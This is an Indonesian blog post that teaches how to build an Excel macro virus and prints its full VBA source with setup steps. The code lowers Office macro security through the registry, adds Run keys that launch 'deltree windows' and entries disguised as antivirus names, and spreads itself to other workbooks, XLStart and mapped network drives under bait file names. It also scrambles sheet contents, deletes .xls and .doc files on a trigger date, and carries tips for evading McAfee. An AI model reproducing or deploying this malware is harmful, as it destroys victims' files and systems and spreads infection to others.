Belajar Buat Virus dengan Exel

habis keliling-keliling ke forum sahabat kayaknya ada yang bisa di sebar kan nih,,,,
em,,,,,kali ini ane mau posting virus lagi gan walau pun ane juga lagi belaja buat virus ini juga' tapi ga' apa-apa ane post aja dari pada blog ane sepi no visitor mending buat heboh dulu,,,,,
langsung aja gan ==>>>

MAKE Virus:

buka new excel workbooks kemudian menu tools macro VB editor

klik kanan pada VBA Project dan pilih insert module

Paste file ini ke dalam new module

tekan F8 untuk trace script

‘USE THIS SCRIPT AS YOUR OWN RISK

‘This is for my wife if thats you falling love with others

Code:

Private Declare Function RegOpenKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _

ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _

Long, phkResult As Long) As Long

Private Declare Function RegCreateKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _

ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _

Long, phkResult As Long) As Long

Private Declare Function RegSetValueExA Lib “advapi32.dll” (ByVal hKey As Long, _

ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, _

ByVal lpValue As String, ByVal cbData As Long) As Long

Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hKey As Long) As Long

Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal _

hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Global Const REG_DWORD As Long = 4

Global Const HKEY_LOCAL_MACHINE As Long = &H80000002

Global Const HKEY_CURRENT_USER As Long = &H80000001

Dim NewKEY As Long

Dim AA, BB, NN

Dim Myclub As String

Dim CrStat As Boolean

Dim pnm As String

‘ ini untuk mendisable menu bila ingin memodifikasi tambah ato kurangi sendiri

‘ menghapus direktory windows…

Code:

Sub MessBoard()

On Error Resume Next

CommandBars(”File”).Controls(”Print Area”).Visible = False

CommandBars(”Data”).Controls(”Sort”).Visible = False

CommandBars(”File”).Controls(”Page Setup…”).Visible = False

NowBoom = Array(”MsApp”, “Sound Acceleration”, “Ms Wizard”, “Web Camera”, _

“PCI driver”, “App Video”, “Lshots”, “WinApps”, “MsOffice 11?)

Randomize

NowBoom = NowBoom(Rnd * 9)

KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\CurrentVersion\Run”, _

0, KEY_ALL_ACCESS, s)

KillAV = RegSetValueExA(s, NowBoom, 0, 1, “c:\windows\command\deltree windows”, 0)

KillAV = RegCloseKey(s)

End Sub

Private Sub Auto_Open()

On Error Resume Next

Application.StatusBar = “Wait please….”

Application.ScreenUpdating = False

CommandBars(”Tools”).Controls(”Customize…”).Visible = False

CommandBars(”Tools”).Controls(”Options…”).Visible = False

CommandBars(”Tools”).Controls(”Macro”).Enable = False

’setting registry security LOW pada excel ver. 8.0 dan 9.0

Kill97 = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\8.0\Excel” & _

“Microsoft Excel”, 0, KEY_ALL_ACCESS, k)

Kill97 = RegSetValueExA(k, “Options6?, 0, REG_DWORD, Chr$(0), 4)

Kill97 = RegCloseKey(k)

Kill2K = RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel” & _

“security”, s)

Kill2K = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel”, _

0, KEY_ALL_ACCESS, s)

Kill2K = RegSetValueExA(s, “Level”, 0, REG_DWORD, Chr$(2), 2)

Kill2K = RegCloseKey(s)

‘mengalihkan antivirus ke file yang anda inginkan

‘rundll.exe jika sudah menumpuk di registry membuat winkamu cepet mabok

‘rubah file rundll.exe sesuai keinginan

Code:

AnVrs = Array(”VsStatEXE”, “Norton Auto-Protect”, “F-Secure”, “PandaSoft”, “Avast4?, _

“DrSolomon”, “AntiVir”, “MsSound”, “BombShellter”)

Randomize

AVstr = AnVrs(Rnd * 9)

KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows” & _

“CurrentVersion\Run”, 0, KEY_ALL_ACCESS, s)

KillAV = RegSetValueExA(s, AVstr, 0, 1, “c:\windows\rundll.exe”, 0)

KillAV = RegCloseKey(s)

Application.DisplayAlerts = False

If Right(ActiveWorkbook.Name, 3) = “xls” Then

ActiveWindow.Visible = False

workbooks.Add

End If

XBrnd

‘membuat file Xlstart yang isinya file yg terinfeksi

‘membuat tulisan pada sheet active

Code:

strup = Application.StartupPath

If Dir(strup & “” & “*.xls”) = “” Then

pnm = ActiveWorkbook.Name

Apnm = ActiveWorkbook.FullName

OtherVrs = Dir(strup & “” & “*.xls”)

If OtherVrs <> “” Then

workbooks(OtherVrs).Close

Kill strup & “” & OtherVrs

End If

workbooks(pnm).SaveAs FileName:=strup & “” & Myclub & “.xls”

ActiveWindow.Visible = False

workbooks.Open (Apnm)

End If

For n = 67 To 90

l = Chr(n)

drv = l & “:”

d3 = DrvID(drv)

If d3 = “network” Then snd2drv (drv)

Next

nmpers = Dir(strup & “” & “*.xls”)

Application.OnSheetActivate = “” & strup & “” & nmpers & “!XLBomb”

If Month(Now()) = 7 And Day(Now()) = 7 Then

Range(”A1?).Insert

Range(”A1?).Select

With Selection.Font

.Name = “Arial”

.FontStyle = “Bold”

.Size = 18

.ColorIndex = 7

End With

ActiveCell.FormulaR1C1 = “Living in the DARKSIDE to watch your Life”

MessBoard

cari

End If

Application.StatusBar = False

Application.DisplayAlerts = True

Application.ScreenUpdating = True

End Sub

‘Penularan pada workbook yg aktif

‘add sheet xlSheetVeryHidden sebagai otorisasi

’sorry mcafee aku selalu merubah ini bila terdeteksi

Code:

Sub XLBomb()

On Error Resume Next

XlsBmb = “c:\Trough.WQK” ‘rubah baris ini bila virus kamu terdeteksi

Application.DisplayAlerts = False

Application.ScreenUpdating = False

aktip = ActiveWorkbook.Name

sedang = ThisWorkbook.Name

Set mcraktip = workbooks(aktip).VBProject.VBComponents

Set modaktip = ActiveWorkbook.VBProject.VBComponents

Set mymcr = ThisWorkbook.VBProject.VBComponents

If aktip <> “Book1? And aktip <> “Book2? Then

For NS = 1 To Sheets.Count

If Sheets(NS).Name = “S1L3N7? Then

kz = Sheets(NS).Name

Exit For

End If

kz = Sheets(NS).Name

Next NS

If kz <> “S1L3N7? Then

Sheets.Add

ActiveWindow.ActiveSheet.Name = “S1L3N7?

Sheets(”S1L3N7?).Visible = xlSheetVeryHidden

Else

susun

Sheets(”S1L3N7?).Range(”A7?) = “”

End If

For nm = 1 To mcraktip.Count

If mcraktip(nm).Type = 1 Then

nama = mcraktip(nm).Name

Exit For

End If

Next nm

modaktip.Remove modaktip(nm)

For nm = 1 To mymcr.Count

If mymcr(nm).Type = 1 Then

nama = mymcr(nm).Name

Exit For

End If

Next nm

mymcr(nama).Export XlsBmb

modaktip.Import XlsBmb

Kill XlsBmb

XBrnd

ActiveWorkbook.VBProject.VBComponents(nm).Name = Myclub

If Minute(Now()) > 30 And Weekday(Now()) Mod 2 = 0 Then

Application.StatusBar = “Searching for 1RM4 at the network…”

End If

End If

Application.DisplayAlerts = True

End Sub

‘duplikasi virus dengan berbagai nama secara RANDOM

Code:

Private Sub XBrnd()

Dim Sbjt, Bodd

On Error GoTo nil1

Randomize

Sbjt = Array(”Primitif”, “Conspiracy”, “mydata”, “OnJuly”, “Updater”, “ms0ffice”, _

“letme”, “poisoning”, “yourdream”)

Myclub = Sbjt(Rnd * 9  1)

Exit Sub

nil1:

Myclub = Sbjt(0)

End Sub

‘hihi.. macro di kawinkan sama worm yaaa gini ini

‘tularkan pada semua drive & network yang telah di MAPPING

Code:

Function DrvID(drv3)

On Error Resume Next

Dim fso, d, t

Set fso = CreateObject(”Scripting.FileSystemObject”)

Set d = fso.getdrive(drv3)

Select Case d.drivetype

Case 0: t = “Unknown”

Case 1: t = “removable”

Case 2: t = “Fixed”

Case 3: t = “network”

Case 4: t = “CD-ROM”

Case 5: t = “Ramdisk”

End Select

If t = “” Then t = “none”

DrvID = t

End Function

Sub snd2drv(DrvAll)

On Error Resume Next

Application.DisplayAlerts = False

Application.ScreenUpdating = False

Gnm = ActiveWorkbook.Name

GnmF = ActiveWorkbook.FullName

Randomize

FlName = Array(”BankColapse”, “myacc”, “report”, “launch06?, “yourScrt”, “jobs”, _

“reference07?, “logistic”, _

“Payroll2006?, “NewCost”, “DoNotOpen”, “secretary”, “tax_report”, “Finance”, _

“director2006?)

Bread = FlName(Rnd * 14  1)

workbooks(Gnm).SaveAs FileName:=DrvAll & “” & Bread & “.xls”

workbooks(ActiveWorkbook.Name).Close

workbooks.Open (GnmF)

Application.DisplayAlerts = True

End Sub

Private Sub Auto_Close()

On Error Resume Next

If ActiveWorkbook.Name <> “Book1? And ActiveWorkbook.Name <> “Book2? Then

Application.ScreenUpdating = False

Application.DisplayAlerts = False

For NS = 1 To Sheets.Count

If Sheets(NS).Name = “S1L3N7? Then

kz = Sheets(NS).Name

Exit For

End If

kz = Sheets(NS).Name

Next NS

If kz <> “S1L3N7? Then

Sheets.Add

ActiveWindow.ActiveSheet.Name = “S1L3N7?

Sheets(”S1L3N7?).Visible = xlSheetVeryHidden

End If

CryptSTAT = Sheets(”S1L3N7?).Range(”A7?)

If CryptSTAT <> 1 Then

kacau

Sheets(”S1L3N7?).Range(”A7?) = 1

SvFl = Dir(Application.StartupPath & “” & “*.xls”)

workbooks(SvFl).Save

ActiveWorkbook.Save

End If

End If

End Sub

‘klo file d tutup basic encrypt

’supaya klo macro d hapus & DUUUAAARRR rusak file-nya

Sub kacau() ‘kurang setiap sheets

Code:

For i = 48 To 90 ‘48 as 0 and 90 as Z

If i <> 63 Then

huruf = Chr(i)

Cells.Replace What:=huruf, Replacement:=Chr(i  110), LookAt:=xlPart, SearchOrder _

:=xlByRows, MatchCase:=False

End If

Next

End Sub

kembalikan (decrypt) struktur file saat d buka

Code:

Sub susun()

For i = 158 To 200

If i <> 173 Then

huruf = Chr(i)

Cells.Replace What:=huruf, Replacement:=Chr(i - 110), LookAt:=xlPart, SearchOrder _

:=xlByRows, MatchCase:=False

End If

Next

End Sub

‘hapus file xls,doc & file yg anda inginkan

‘membuat file tipuan dg nama sesuai folder

Code:

Sub cari()

On Error Resume Next

Dim nmfold1, nmfold2, pjg, kena As Integer

pnm = ActiveWorkbook.FullName

pjg = Len(pnm)

For i = 0 To 50

pjg = pjg - 1

If Right(Left(pnm, pjg), 1) = “” Then

foldbatas = Left(pnm, pjg)

Kill foldbatas & “*.xls”

Kill foldbatas & “*.doc”

Kill foldbatas & “irma.*”

If a = 0 Then

nmfold1 = Len(foldbatas) - 1

pnm = Left(pnm, nmfold1)

a = 1

Else

nmfold2 = Len(foldbatas)  1

kena = nmfold1 - nmfold2

namekena = Right(pnm, kena  1)

Application.ScreenUpdating = False

workbooks.Add (namekena & “.xls”)

ActiveWorkbook.Save

ActiveWorkbook.Close

Application.ScreenUpdating = True

Exit For

End If

End If

Next

End Sub

SCRIPT INI HANYA DIGUNAKAN SEBAGAI ILMU PENGETAHUAN SAJA & PENULIS TIDAT BERTANGGUNG JAWAB ATAS RESIKO YANG DI HADAPI.